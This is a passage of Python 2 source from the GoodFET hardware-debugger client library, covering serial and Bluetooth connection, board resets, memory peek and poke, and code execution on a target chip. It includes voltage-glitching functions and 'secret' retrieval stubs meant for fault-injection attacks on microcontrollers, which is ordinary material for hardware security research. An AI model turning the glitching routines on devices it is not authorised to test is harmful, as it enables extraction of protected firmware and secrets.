 75 |         sock=bluetooth.BluetoothSocket(bluetooth.RFCOMM);
 76 |         self.sock=sock;
 77 |         sock.connect((btaddr,port));
 78 |         sock.settimeout(10);  #IMPORTANT Must be patient.
 79 |         
 80 |         ##This is what we'd do for a normal reset.
 81 |         #str="";
 82 |         #while not str.endswith("goodfet.sf.net/"):
 83 |         #    str=self.read(64);
 84 |         #    print str;
 85 |         
 86 |         # Instead, just return and hope for the best.
 87 |         return;
 88 |         
 89 |     def write(self,msg):
 90 |         """Send traffic."""
 91 |         import time;
 92 |         self.sock.send(msg);
 93 |         #time.sleep(0.1);
 94 |         return;
 95 |     def read(self,length):
 96 |         """Read traffic."""
 97 |         data="";
 98 |         while len(data)<length:
 99 |             data=data+self.sock.recv(length-len(data));
100 |         return data;
101 | class GoodFET:
102 |     """GoodFET Client Library"""
103 | 
104 |     besilent=0;
105 |     app=0;
106 |     verb=0;
107 |     count=0;
108 |     data="";
109 |     verbose=False
110 |     
111 |     GLITCHAPP=0x71;
112 |     MONITORAPP=0x00;
113 |     symbols=SymbolTable();
114 |     
115 |     def __init__(self, *args, **kargs):
116 |         self.data=[0];
117 |     def getConsole(self):
118 |         from GoodFETConsole import GoodFETConsole;
119 |         return GoodFETConsole(self);
120 |     def name2adr(self,name):
121 |         return self.symbols.get(name);
122 |     def timeout(self):
123 |         print "timeout\n";
124 |     def serInit(self, port=None, timeout=2, attemptlimit=None):
125 |         """Open a serial port of some kind."""
126 |         import re;
127 |         
128 |         if port==None:
129 |             port=os.environ.get("GOODFET");
130 |         if port=="bluetooth" or (port is not None and re.match("..:..:..:..:..:..",port)):
131 |             self.btInit(port,2,attemptlimit);
132 |         else:
133 |             self.pyserInit(port,timeout,attemptlimit);
134 |     def btInit(self, port, timeout, attemptlimit):
135 |         """Open a bluetooth port.""";
136 |         #self.verbose=True;  #For debugging BT.
137 |         self.serialport=GoodFETbtser(port);
138 |         
139 |     def pyserInit(self, port, timeout, attemptlimit):
140 |         """Open the serial port"""
141 |         # Make timeout None to wait forever, 0 for non-blocking mode.
142 |         import serial;
143 |         fixserial=False;
144 |         
145 |         if os.name=='nt' and sys.version.find('64 bit')!=-1:
146 |             print "WARNING: PySerial requires a 32-bit Python build in Windows.";
147 |         
148 |         if port is None and os.environ.get("GOODFET")!=None:
149 |             glob_list = glob.glob(os.environ.get("GOODFET"));
150 |             if len(glob_list) > 0:
151 |                 port = glob_list[0];
152 |             else:
153 |                 port = os.environ.get("GOODFET");
154 |         if port is None:
155 |             glob_list = glob.glob("/dev/tty.usbserial*");
156 |             if len(glob_list) > 0:
157 |                 port = glob_list[0];
158 |         if port is None:
159 |             glob_list = glob.glob("/dev/ttyUSB*");
160 |             if len(glob_list) > 0:
161 |                 port = glob_list[0];
162 |         if port is None:
163 |             glob_list = glob.glob("/dev/ttyU0");
164 |             if len(glob_list) > 0:
165 |                 port = glob_list[0];
166 |         if port is None and os.name=='nt':
167 |             from scanwin32 import winScan;
168 |             scan=winScan();
169 |             for order,comport,desc,hwid in sorted(scan.comports()):
170 |                 try:
171 |                     if hwid.index('FTDI')==0:
172 |                         port=comport;
173 |                         #print "Using FTDI port %s" % port
174 |                 except:
175 |                     #Do nothing.
176 |                     a=1;
177 |         
178 |         baud=115200;
179 |         if(os.environ.get("platform")=='arduino' or os.environ.get("board")=='arduino'):
180 |             baud=19200; #Slower, for now.
181 |         self.serialport = serial.Serial(
182 |             port,
183 |             #9600,
184 |             baud,
185 |             parity = serial.PARITY_NONE,
186 |             timeout=timeout
187 |             )
188 |         
189 |         self.verb=0;
190 |         attempts=0;
191 |         connected=0;
192 |         while connected==0:
193 |             while self.verb!=0x7F or self.data!="http://goodfet.sf.net/":
194 |             #while self.data!="http://goodfet.sf.net/":
195 |                 #print "'%s'!=\n'%s'" % (self.data,"http://goodfet.sf.net/");
196 |                 if attemptlimit is not None and attempts >= attemptlimit:
197 |                     return
198 |                 elif attempts==2 and os.environ.get("board")!='telosb':
199 |                     print "See the GoodFET FAQ about missing info flash.";
200 |                     self.serialport.timeout=0.2;
201 |                 elif attempts == 100:
202 | 		    print "Tried 100 times to connect and failed."
203 | 		    sys.stdout.write("Continuing to try forever.")	# No newline
204 | 		    sys.stdout.flush()
205 | 		    self.verbose=True	# Something isn't going right, give the user more info
206 |                 elif attempts > 100 and attempts % 10 == 0:
207 | 		    sys.stdout.write('.')
208 | 		    sys.stdout.flush()
209 |                 #self.serialport.flushInput()
210 |                 #self.serialport.flushOutput()
211 |                 
212 |                 #TelosB reset, prefer software to I2C SPST Switch.
213 |                 if (os.environ.get("board")=='telosb'):
214 |                     #print "TelosB Reset";
215 |                     self.telosBReset();
216 |                 elif (os.environ.get("board")=='z1'):
217 |                     self.bslResetZ1(invokeBSL=0);
218 |                 elif (os.environ.get("board")=='apimote1') or (os.environ.get("board")=='apimote'):
219 |                     #Explicitly set RTS and DTR to halt board.
220 |                     self.serialport.setRTS(1);
221 |                     self.serialport.setDTR(1);
222 |                     #RTS pin, not DTR is used for reset.
223 |                     self.serialport.setRTS(0);
224 |                     #print "Resetting Apimote not yet tested.";
225 |                 else:
226 |                     #Explicitly set RTS and DTR to halt board.
227 |                     self.serialport.setRTS(1);
228 |                     self.serialport.setDTR(1);
229 |                     #Drop DTR, which is !RST, low to begin the app.
230 |                     self.serialport.setDTR(0);
231 |                 
232 |                 #self.serialport.write(chr(0x80));
233 |                 #self.serialport.write(chr(0x80));
234 |                 #self.serialport.write(chr(0x80));
235 |                 #self.serialport.write(chr(0x80));
236 |                 
237 |                 
238 |                 #self.serialport.flushInput()
239 |                 #self.serialport.flushOutput()
240 |                 #time.sleep(60);
241 |                 attempts=attempts+1;
242 |                 self.readcmd(); #Read the first command.
243 |                 #print "Got %02x,%02x:'%s'" % (self.app,self.verb,self.data);
244 |                 if self.verb!=0x7f:
245 |                     #Retry again. This usually times out, but helps connect.
246 |                     self.readcmd();
247 |                     #print "Retry got %02x,%02x:'%s'" % (self.app,self.verb,self.data);
248 |             #Here we have a connection, but maybe not a good one.
249 |             #print "We have a connection."
250 |             connected=1;
251 | 	    if attempts >= 100:
252 | 		print ""	# Add a newline
253 |             olds=self.infostring();
254 |             clocking=self.monitorclocking();
255 |             for foo in range(1,30):
256 |                 if not self.monitorecho():
257 |                     if self.verbose:
258 |                         print "Comm error on %i try, resyncing out of %s." % (foo,
259 |                                                                               clocking);
260 |                     connected=0;
261 |                     break;
262 |         if self.verbose: print "Connected after %02i attempts." % attempts;
263 |         self.mon_connected();
264 |         self.serialport.timeout=12;
265 |     def serClose(self):
266 |         self.serialport.close();
267 |     def telosSetSCL(self, level):
268 |         self.serialport.setRTS(not level)
269 |     def telosSetSDA(self, level):
270 |         self.serialport.setDTR(not level)
271 | 
272 |     def telosI2CStart(self):
273 |         self.telosSetSDA(1)
274 |         self.telosSetSCL(1)
275 |         self.telosSetSDA(0)
276 | 
277 |     def telosI2CStop(self):
278 |         self.telosSetSDA(0)
279 |         self.telosSetSCL(1)
280 |         self.telosSetSDA(1)
281 | 
282 |     def telosI2CWriteBit(self, bit):
283 |         self.telosSetSCL(0)
284 |         self.telosSetSDA(bit)
285 |         time.sleep(2e-6)
286 |         self.telosSetSCL(1)
287 |         time.sleep(1e-6)
288 |         self.telosSetSCL(0)
289 | 
290 |     def telosI2CWriteByte(self, byte):
291 |         self.telosI2CWriteBit( byte & 0x80 );
292 |         self.telosI2CWriteBit( byte & 0x40 );
293 |         self.telosI2CWriteBit( byte & 0x20 );
294 |         self.telosI2CWriteBit( byte & 0x10 );
295 |         self.telosI2CWriteBit( byte & 0x08 );
296 |         self.telosI2CWriteBit( byte & 0x04 );
297 |         self.telosI2CWriteBit( byte & 0x02 );
298 |         self.telosI2CWriteBit( byte & 0x01 );
299 |         self.telosI2CWriteBit( 0 );  # "acknowledge"
300 | 
301 |     def telosI2CWriteCmd(self, addr, cmdbyte):
302 |         self.telosI2CStart()
303 |         self.telosI2CWriteByte( 0x90 | (addr << 1) )
304 |         self.telosI2CWriteByte( cmdbyte )
305 |         self.telosI2CStop()
306 |     def bslResetZ1(self, invokeBSL=0):
307 |         '''
308 |         Applies BSL entry sequence on RST/NMI and TEST/VPP pins
309 |         Parameters:
310 |             invokeBSL = 1: complete sequence
311 |             invokeBSL = 0: only RST/NMI pin accessed
312 |             
313 |         By now only BSL mode is accessed
314 |         '''
315 |         
316 |         #if DEBUG > 1: sys.stderr.write("* bslReset(invokeBSL=%s)\n" % invokeBSL)
317 |         if invokeBSL:
318 |             #sys.stderr.write("in Z1 bsl reset...\n")
319 |             time.sleep(0.1)
320 |             self.writepicROM(0xFF, 0xFF)
321 |             time.sleep(0.1)
322 |             #sys.stderr.write("z1 bsl reset done...\n")
323 |         else:
324 |             #sys.stderr.write("in Z1 reset...\n")
325 |             time.sleep(0.1)
326 |             self.writepicROM(0xFF, 0xFE)
327 |             time.sleep(0.1)
328 |             #sys.stderr.write("z1 reset done...\n")
329 |     def writepicROM(self, address, data):
330 |         ''' Writes data to @address'''
331 |         for i in range(7,-1,-1):
332 |             self.picROMclock((address >> i) & 0x01)
333 |         self.picROMclock(0)
334 |         recbuf = 0
335 |         for i in range(7,-1,-1):
336 |             s = ((data >> i) & 0x01)
337 |             #print s
338 |             if i < 1:
339 |                 r = not self.picROMclock(s, True)
340 |             else:
341 |                 r = not self.picROMclock(s)
342 |             recbuf = (recbuf << 1) + r
343 | 
344 |         self.picROMclock(0, True)
345 |         #k = 1
346 |         #while not self.serial.getCTS():
347 |         #    pass 
348 |         #time.sleep(0.1)
349 |         return recbuf
350 |     def readpicROM(self, address):
351 |         ''' reads a byte from @address'''
352 |         for i in range(7,-1,-1):
353 |             self.picROMclock((address >> i) & 0x01)
354 |         self.picROMclock(1)
355 |         recbuf = 0
356 |         r = 0
357 |         for i in range(7,-1,-1):
358 |             r = self.picROMclock(0)
359 |             recbuf = (recbuf << 1) + r
360 |         self.picROMclock(r)
361 |         #time.sleep(0.1)
362 |         return recbuf
363 |         
364 |     #This seems more reliable when slowed.
365 |     def picROMclock(self, masterout, slow = True):
366 |         #print "setting masterout to "+str(masterout)
367 |         self.serialport.setRTS(masterout)
368 |         self.serialport.setDTR(1)
369 |         #time.sleep(0.02)
370 |         self.serialport.setDTR(0)
371 |         if slow:
372 |             time.sleep(0.02)
373 |         return self.serialport.getCTS()
374 | 
375 |     def picROMfastclock(self, masterout):
376 |         #print "setting masterout to "+str(masterout)
377 |         self.serialport.setRTS(masterout)
378 |         self.serialport.setDTR(1)
379 |         self.serialport.setDTR(0)
380 |         time.sleep(0.02)
381 |         return self.serialport.getCTS()
382 | 
383 |     def telosBReset(self,invokeBSL=0):
384 |         # "BSL entry sequence at dedicated JTAG pins"
385 |         # rst !s0: 0 0 0 0 1 1
386 |         # tck !s1: 1 0 1 0 0 1
387 |         #   s0|s1: 1 3 1 3 2 0
388 | 
389 |         # "BSL entry sequence at shared JTAG pins"
390 |         # rst !s0: 0 0 0 0 1 1
391 |         # tck !s1: 0 1 0 1 1 0
392 |         #   s0|s1: 3 1 3 1 0 2
393 | 
394 |         if invokeBSL:
395 |             self.telosI2CWriteCmd(0,1)
396 |             self.telosI2CWriteCmd(0,3)
397 |             self.telosI2CWriteCmd(0,1)
398 |             self.telosI2CWriteCmd(0,3)
399 |             self.telosI2CWriteCmd(0,2)
400 |             self.telosI2CWriteCmd(0,0)
401 |         else:
402 |             self.telosI2CWriteCmd(0,3)
403 |             self.telosI2CWriteCmd(0,2)
404 | 
405 |         # This line was not defined inside the else: block, not sure where it
406 |         # should be however
407 |         self.telosI2CWriteCmd(0,0)
408 |         time.sleep(0.250)       #give MSP430's oscillator time to stabilize
409 |         self.serialport.flushInput()  #clear buffers
410 | 
411 | 
412 |     def getbuffer(self,size=0x1c00):
413 |         writecmd(0,0xC2,[size&0xFF,(size>>16)&0xFF]);
414 |         print "Got %02x%02x buffer size." % (self.data[1],self.data[0]);
415 |     def writecmd(self, app, verb, count=0, data=[]):
416 |         """Write a command and some data to the GoodFET."""
417 |         self.serialport.write(chr(app));
418 |         self.serialport.write(chr(verb));
419 |         
420 |         #if data!=None:
421 |         #    count=len(data); #Initial count ignored.
422 |         
423 |         #print "TX %02x %02x %04x" % (app,verb,count);
424 |         
425 |         #little endian 16-bit length
426 |         self.serialport.write(chr(count&0xFF));
427 |         self.serialport.write(chr(count>>8));
428 | 
429 |         if self.verbose:
430 |             print "Tx: ( 0x%02x, 0x%02x, 0x%04x )" % ( app, verb, count )
431 |         
432 |         #print "count=%02x, len(data)=%04x" % (count,len(data));
433 |         
434 |         if count!=0:
435 |             if(isinstance(data,list)):
436 |                 for i in range(0,count):
437 |                 #print "Converting %02x at %i" % (data[i],i)
438 |                     data[i]=chr(data[i]);
439 |             #print type(data);
440 |             outstr=''.join(data);
441 |             self.serialport.write(outstr);
442 |         if not self.besilent:
443 |             return self.readcmd()
444 |         else:
445 |             return []
446 | 
447 |     def readcmd(self):
448 |         """Read a reply from the GoodFET."""
449 |         while 1:#self.serialport.inWaiting(): # Loop while input data is available
450 |             try:
451 |                 #print "Reading...";
452 |                 self.app=ord(self.serialport.read(1));
453 |                 #print "APP=%02x" % self.app;
454 |                 self.verb=ord(self.serialport.read(1));
455 |                 
456 |                 #Fixes an obscure bug in the TelosB.
457 |                 if self.app==0x00:
458 |                     while self.verb==0x00:
459 |                         self.verb=ord(self.serialport.read(1));
460 |                 
461 |                 #print "VERB=%02x" % self.verb;
462 |                 self.count=(
463 |                     ord(self.serialport.read(1))
464 |                     +(ord(self.serialport.read(1))<<8)
465 |                     );
466 | 
467 |                 if self.verbose:
468 |                     print "Rx: ( 0x%02x, 0x%02x, 0x%04x )" % ( self.app, self.verb, self.count )
469 |             
470 |                 #Debugging string; print, but wait.
471 |                 if self.app==0xFF:
472 |                     if self.verb==0xFF:
473 |                         print "# DEBUG %s" % self.serialport.read(self.count)
474 |                	    elif self.verb==0xFE:
475 |                         print "# DEBUG 0x%x" % struct.unpack(fmt[self.count-1], self.serialport.read(self.count))[0]
476 |                     elif self.verb==0xFD:
477 |                         #Do nothing, just wait so there's no timeout.
478 |                         print "# NOP.";
479 |                         
480 |                     sys.stdout.flush();
481 |                 else:
482 |                     self.data=self.serialport.read(self.count);
483 |                     return self.data;
484 |             except TypeError:
485 |                 if self.connected:
486 |                     print "Warning: waiting for serial read timed out (most likely).";
487 |                     #print "This shouldn't happen after syncing.  Exiting for safety.";                    
488 |                     #sys.exit(-1)
489 |                 return self.data;
490 |     #Glitching stuff.
491 |     def glitchApp(self,app):
492 |         """Glitch into a device by its application."""
493 |         self.data=[app&0xff];
494 |         self.writecmd(self.GLITCHAPP,0x80,1,self.data);
495 |         #return ord(self.data[0]);
496 |     def glitchVerb(self,app,verb,data):
497 |         """Glitch during a transaction."""
498 |         if data==None: data=[];
499 |         self.data=[app&0xff, verb&0xFF]+data;
500 |         self.writecmd(self.GLITCHAPP,0x81,len(self.data),self.data);
501 |         #return ord(self.data[0]);
502 |     def glitchstart(self):
503 |         """Glitch into the AVR application."""
504 |         self.glitchVerb(self.APP,0x20,None);
505 |     def glitchstarttime(self):
506 |         """Measure the timer of the START verb."""
507 |         return self.glitchTime(self.APP,0x20,None);
508 |     def glitchTime(self,app,verb,data):
509 |         """Time the execution of a verb."""
510 |         if data==None: data=[];
511 |         self.data=[app&0xff, verb&0xFF]+data;
512 |         print "Timing app %02x verb %02x." % (app,verb);
513 |         self.writecmd(self.GLITCHAPP,0x82,len(self.data),self.data);
514 |         time=ord(self.data[0])+(ord(self.data[1])<<8);
515 |         print "Timed to be %i." % time;
516 |         return time;
517 |     def glitchVoltages(self,low=0x0880, high=0x0fff):
518 |         """Set glitching voltages. (0x0fff is max.)"""
519 |         self.data=[low&0xff, (low>>8)&0xff,
520 |                    high&0xff, (high>>8)&0xff];
521 |         self.writecmd(self.GLITCHAPP,0x90,4,self.data);
522 |         #return ord(self.data[0]);
523 |     def glitchRate(self,count=0x0800):
524 |         """Set glitching count period."""
525 |         self.data=[count&0xff, (count>>8)&0xff];
526 |         self.writecmd(self.GLITCHAPP,0x91,2,
527 |                       self.data);
528 |         #return ord(self.data[0]);
529 |     
530 |     
531 |     #Monitor stuff
532 |     def silent(self,s=0):
533 |         """Transmissions halted when 1."""
534 |         self.besilent=s;
535 |         print "besilent is %i" % self.besilent;
536 |         self.writecmd(0,0xB0,1,[s]);
537 |     connected=0;
538 |     def mon_connected(self):
539 |         """Announce to the monitor that the connection is good."""
540 |         self.connected=1;
541 |         self.writecmd(0,0xB1,0,[]);
542 |     def out(self,byte):
543 |         """Write a byte to P5OUT."""
544 |         self.writecmd(0,0xA1,1,[byte]);
545 |     def dir(self,byte):
546 |         """Write a byte to P5DIR."""
547 |         self.writecmd(0,0xA0,1,[byte]);
548 |     def call(self,adr):
549 |         """Call to an address."""
550 |         self.writecmd(0,0x30,2,
551 |                       [adr&0xFF,(adr>>8)&0xFF]);
552 |     def execute(self,code):
553 |         """Execute supplied code."""
554 |         self.writecmd(0,0x31,2,#len(code),
555 |                       code);
556 |     def MONpeek8(self,address):
557 |         """Read a byte of memory from the monitor."""
558 |         self.data=[address&0xff,address>>8];
559 |         self.writecmd(0,0x02,2,self.data);
560 |         #self.readcmd();
561 |         return ord(self.data[0]);
562 |     def MONpeek16(self,address):
563 |         """Read a word of memory from the monitor."""
564 |         return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8);
565 |     def peek(self,address):
566 |         """Read a word of memory from the monitor."""
567 |         return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8);
568 |     def eeprompeek(self,address):
569 |         """Read a word of memory from the monitor."""
570 |         print "EEPROM peeking not supported for the monitor.";
571 |         #return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8);
572 |     def peekbysym(self,name):
573 |         """Read a value by its symbol name."""
574 |         #TODO include memory in symbol.
575 |         reg=self.symbols.get(name);
576 |         return self.peek8(reg,"data");
577 |     def pokebysym(self,name,val):
578 |         """Write a value by its symbol name."""
579 |         #TODO include memory in symbol.
580 |         reg=self.symbols.get(name);
581 |         return self.pokebyte(reg,val);
582 |     def pokebyte(self,address,value,memory="vn"):
583 |         """Set a byte of memory by the monitor."""
584 |         self.data=[address&0xff,address>>8,value];
585 |         self.writecmd(0,0x03,3,self.data);
586 |         return ord(self.data[0]);
587 |     def poke16(self,address,value):
588 |         """Set a word of memory by the monitor."""
589 |         self.MONpoke16(address,value);
590 |     def MONpoke16(self,address,value):
591 |         """Set a word of memory by the monitor."""
592 |         self.pokebyte(address,value&0xFF);
593 |         self.pokebyte(address,(value>>8)&0xFF);
594 |         return value;
595 |     def setsecret(self,value):
596 |         """Set a secret word for later retreival.  Used by glitcher."""
597 |         #self.eeprompoke(0,value);
598 |         #self.eeprompoke(1,value);
599 |         print "Secret setting is not yet suppored for this target.";
600 |         print "Aborting.";
601 |         
602 |     def getsecret(self):
603 |         """Get a secret word.  Used by glitcher."""
604 |         #self.eeprompeek(0);
605 |         print "Secret getting is not yet suppored for this target.";
606 |         print "Aborting.";
607 |         sys.exit();
608 |     
609 |     def dumpmem(self,begin,end):
610 |         i=begin;
611 |         while i<end:
612 |             print "%04x %04x" % (i, self.MONpeek16(i));
613 |             i+=2;
614 |     def monitor_ram_pattern(self):
615 |         """Overwrite all of RAM with 0xBEEF."""
616 |         self.writecmd(0,0x90,0,self.data);
617 |         return;
618 |     def monitor_ram_depth(self):
619 |         """Determine how many bytes of RAM are unused by looking for 0xBEEF.."""
620 |         self.writecmd(0,0x91,0,self.data);
621 |         return ord(self.data[0])+(ord(self.data[1])<<8);
622 |     
623 |     #Baud rates.
624 |     baudrates=[115200, 
625 |                9600,
626 |                19200,
627 |                38400,
628 |                57600,
629 |                115200];
630 |     def setBaud(self,baud):
631 |         """Change the baud rate.  TODO fix this."""
632 |         rates=self.baudrates;
633 |         self.data=[baud];
634 |         print "Changing FET baud."
635 |         self.serialport.write(chr(0x00));
636 |         self.serialport.write(chr(0x80));
637 |         self.serialport.write(chr(1));
638 |         self.serialport.write(chr(baud));
639 |         
640 |         print "Changed host baud."
641 |         self.serialport.setBaudrate(rates[baud]);
642 |         time.sleep(1);
643 |         self.serialport.flushInput()
644 |         self.serialport.flushOutput()
645 |         
646 |         print "Baud is now %i." % rates[baud];
647 |         return;
648 |     def readbyte(self):
649 |         return ord(self.serialport.read(1));
650 |     def findbaud(self):
651 |         for r in self.baudrates:
652 |             print "\nTrying %i" % r;
653 |             self.serialport.setBaudrate(r);
654 |             #time.sleep(1);
655 |             self.serialport.flushInput()
656 |             self.serialport.flushOutput()
657 |             
658 |             for i in range(1,10):
659 |                 self.readbyte();
660 |             
661 |             print "Read %02x %02x %02x %02x" % (
662 |                 self.readbyte(),self.readbyte(),self.readbyte(),self.readbyte());
663 |     def monitortest(self):
664 |         """Self-test several functions through the monitor."""
665 |         print "Performing monitor self-test.";
666 |         self.monitorclocking();
667 |         for f in range(0,3000):
668 |             a=self.MONpeek16(0x0c00);
669 |             b=self.MONpeek16(0x0c02);
670 |             if a!=0x0c04 and a!=0x0c06:
671 |                 print "ERROR Fetched %04x, %04x" % (a,b);
672 |             self.pokebyte(0x0021,0); #Drop LED
673 |             if self.MONpeek8(0x0021)!=0:
674 |                 print "ERROR, P1OUT not cleared.";
675 |             self.pokebyte(0x0021,1); #Light LED
676 |             if not self.monitorecho():
677 |                 print "Echo test failed.";
678 |         print "Self-test complete.";
679 |         self.monitorclocking();
680 |     def monitorecho(self):
681 |         data="The quick brown fox jumped over the lazy dog.";
682 |         self.writecmd(self.MONITORAPP,0x81,len(data),data);
683 |         if self.data!=data:
684 |             if self.verbose:
685 |                 print "Comm error recognized by monitorecho(), got:\n%s" % self.data;
686 |             return 0;
687 |         return 1;
688 | 
689 |     def monitor_info(self):
690 |         print "GoodFET with %s MCU" % self.infostring();
691 |         print "Clocked at %s" % self.monitorclocking();
692 |         return 1;
693 | 
694 |     def testleds(self):
695 |         print "Flashing LEDs"
696 |         self.writecmd(self.MONITORAPP,0xD0,0,"")
697 |         try:
698 |             print "Flashed %d LED." % ord(self.data)
699 |         except:
700 |             print "Unable to process response:", self.data
701 |         return 1
702 | 
703 |     def monitor_list_apps(self, full=False): 
704 |         self.monitor_info()
705 |         old_value = self.besilent
706 |         self.besilent = True    # turn off automatic call to readcmd
707 |         self.writecmd(self.MONITORAPP, 0x82, 1, [int(full)]);
708 |         self.besilent = old_value
709 |         
710 |         # read the build date string 
711 |         self.readcmd()
712 |         print "Build Date: %s" % self.data
713 |         print "Firmware apps:"
714 |         while True:
715 |             self.readcmd()
716 |             if self.count == 0:
717 |                 break
718 |             print self.data
719 |         return 1;
720 | 
721 |     def monitorclocking(self):
722 |         """Return the 16-bit clocking value."""
723 |         return "0x%04x" % self.monitorgetclock();
724 |     
725 |     def monitorsetclock(self,clock):
726 |         """Set the clocking value."""
727 |         self.MONpoke16(0x56, clock);
728 |     def monitorgetclock(self):
729 |         """Get the clocking value."""
730 |         if(os.environ.get("platform")=='arduino' or os.environ.get("board")=='arduino'):
731 |             return 0xDEAD;
732 |         #Check for MSP430 before peeking this.
733 |         return self.MONpeek16(0x56);
734 |     # The following functions ought to be implemented in
735 |     # every client.
736 |     
737 |     def infostring(self):
738 |         if(os.environ.get("platform")=='arduino' or os.environ.get("board")=='arduino'):
739 |             return "Arduino";
740 |         else:
741 |             a=self.MONpeek8(0xff0);
742 |             b=self.MONpeek8(0xff1);
743 |             return "%02x%02x" % (a,b);
744 |     def lock(self):
745 |         print "Locking Unsupported.";
746 |     def erase(self):
747 |         print "Erasure Unsupported.";
748 |     def setup(self):
749 |         return;
750 |     def start(self):
751 |         return;
752 |     def test(self):
753 |         print "Unimplemented.";
754 |         return;
755 |     def status(self):
756 |         print "Unimplemented.";
757 |         return;
758 |     def halt(self):
759 |         print "Unimplemented.";
760 |         return;
761 |     def resume(self):
762 |         print "Unimplemented.";
763 |         return;
764 |     def getpc(self):
765 |         print "Unimplemented.";
766 |         return 0xdead;
767 |     def flash(self,file):
768 |         """Flash an intel hex file to code memory."""
769 |         print "Flash not implemented.";
770 |     def dump(self,file,start=0,stop=0xffff):
771 |         """Dump an intel hex file from code memory."""
772 |         print "Dump not implemented.";
773 |     def peek32(self,address, memory="vn"):
774 |         """Peek 32 bits."""
775 |         return (self.peek16(address,memory)+
776 |                 (self.peek16(address+2,memory)<<16));
777 |     def peek16(self,address, memory="vn"):
778 |         """Peek 16 bits of memory."""
779 |         return (self.peek8(address,memory)+
780 |                 (self.peek8(address+1,memory)<<8));
781 |     def peek8(self,address, memory="vn"):
782 |         """Peek a byte of memory."""
783 |         return self.MONpeek8(address); #monitor
784 |     def peekblock(self,address,length,memory="vn"):
785 |         """Return a block of data."""
786 |         data=range(0,length);
787 |         for foo in range(0,length):
788 |             data[foo]=self.peek8(address+foo,memory);
789 |         return data;
790 |     def pokeblock(self,address,bytes,memory="vn"):
791 |         """Poke a block of a data into memory at an address."""
792 |         for foo in bytes:
793 |             self.pokebyte(address,foo,memory);
794 |             address=address+1;
795 |         return;
796 |     def loadsymbols(self):
797 |         """Load symbols from a file."""
798 |         return;
799 | 


--------------------------------------------------------------------------------
/scripts/GoodFET.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/scripts/GoodFET.pyc


--------------------------------------------------------------------------------
/scripts/GoodFETCC.py:
--------------------------------------------------------------------------------
   1 | #!/usr/bin/env python2
   2 | # GoodFET Client Library
   3 | # 
   4 | # (C) 2009 Travis Goodspeed <travis at radiantmachines.com>
   5 | #
   6 | # This code is being rewritten and refactored.  You've been warned!
   7 | 
   8 | import sys;
   9 | import binascii;
  10 | 
  11 | from GoodFET import GoodFET;
  12 | from intelhex import IntelHex;
  13 | 
  14 | import xml.dom.minidom, time, os;
  15 | 
  16 | class GoodFETCC(GoodFET):
  17 |     """A GoodFET variant for use with Chipcon 8051 Zigbee SoC."""
  18 |     APP=0x30;
  19 |     
  20 |     smartrfpath=None;
  21 |     def __init__(self,filename=None):
  22 |         """GoodFETCC constructor.
  23 |         Mostly concerned with finding SmartRF7."""
  24 |         if self.smartrfpath==None:
  25 |             self.smartrfpath=os.environ.get("SMARTRF");
  26 |         if self.smartrfpath==None and os.name=='nt':
  27 |             pf=os.environ['PROGRAMFILES'];
  28 |             self.smartrfpath="%s\\\\Texas Instruments\\\\SmartRF Tools\\\\SmartRF Studio 7" % pf;
  29 |             
  30 |         if self.smartrfpath==None:
  31 |             self.smartrfpath="/opt/smartrf7";
  32 |         
  33 |     haveloadedsymbols=False;
  34 |     def loadsymbols(self):
  35 |         if self.haveloadedsymbols:
  36 |             return;
  37 |         try:
  38 |             self.SRF_loadsymbols();
  39 |             self.haveloadedsymbols=True;
  40 |         except:
  41 |             ident=self.CCident();
  42 |             if ident==0x0000 or ident==0xFFFF:
  43 |                 print "Chip ID is 0x%04x, implying a wiring problem." % ident;
  44 |             else:
  45 |                 print "SmartRF not found for chip 0x%04x." % ident;
  46 |     def SRF_chipdom(self,chip="cc1110", doc="register_definition.xml"):
  47 |     #def SRF_chipdom(self,chip="cc1110", doc="workingconfig.xml"):
  48 |         """Loads the chip XML definitions from SmartRF7."""
  49 |         fn="%s/config/xml/%s/%s" % (self.smartrfpath,chip,doc);
  50 |         #print "Opening %s" % fn;
  51 |         return xml.dom.minidom.parse(fn)
  52 |         
  53 |     def CMDrs(self,args=[]):
  54 |         """Chip command to grab the radio state."""
  55 |         #try:
  56 |         self.SRF_radiostate();
  57 |         #except:
  58 |         #    print "Error printing radio state.";
  59 |         #    print "SmartRF not found at %s." % self.smartrfpath;
  60 | 
  61 |     def CMDrss(self,args=[]):
  62 |         self.SRF_radiostate_select();
  63 | 
  64 |     def SRF_bitfieldstr(self,bf):
  65 |         name="unused";
  66 |         start=0;
  67 |         stop=0;
  68 |         access="";
  69 |         reset="0x00";
  70 |         description="";
  71 |         for e in bf.childNodes:
  72 |             if e.localName=="Name" and e.childNodes: name= e.childNodes[0].nodeValue;
  73 |             elif e.localName=="Start": start=e.childNodes[0].nodeValue;
  74 |             elif e.localName=="Stop": stop=e.childNodes[0].nodeValue;
  75 |         return "   [%s:%s] %30s " % (start,stop,name);
  76 | 
  77 |     def SRF_radiostate(self):
  78 |         ident=self.CCident();
  79 |         chip=self.CCversions.get(ident&0xFF00);
  80 |         dom=self.SRF_chipdom(chip,"register_definition.xml");
  81 |         for e in dom.getElementsByTagName("registerdefinition"):
  82 |             for f in e.childNodes:
  83 |                 if f.localName=="DeviceName":
  84 |                     print "// %s RadioState" % (f.childNodes[0].nodeValue);
  85 |                 elif f.localName=="Register":
  86 |                     name="unknownreg";
  87 |                     address="0xdead";
  88 |                     description="";
  89 |                     bitfields="";
  90 |                     for g in f.childNodes:
  91 |                         if g.localName=="Name":
  92 |                             name=g.childNodes[0].nodeValue;
  93 |                         elif g.localName=="Address":
  94 |                             address=g.childNodes[0].nodeValue;
  95 |                         elif g.localName=="Description":
  96 |                             if g.childNodes:
  97 |                                 description=g.childNodes[0].nodeValue;
  98 |                         elif g.localName=="Bitfield":
  99 |                             bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g));
 100 |                     #print "SFRX(%10s, %s); /* %50s */" % (name,address, description);
 101 |                     print "%-10s=0x%02x; /* %-50s */" % (
 102 |                         name,self.CCpeekdatabyte(eval(address)), description);
 103 |                     if bitfields!="": print bitfields.rstrip();
 104 | 
 105 |     def SRF_radiostate_select(self,args=[]):
 106 |         lreg = []
 107 |         ident=self.CCident();
 108 |         chip=self.CCversions.get(ident&0xFF00);
 109 |         dom=self.SRF_chipdom(chip,"register_definition.xml");
 110 |         for reg in args:
 111 |             if reg.lower() == "help":
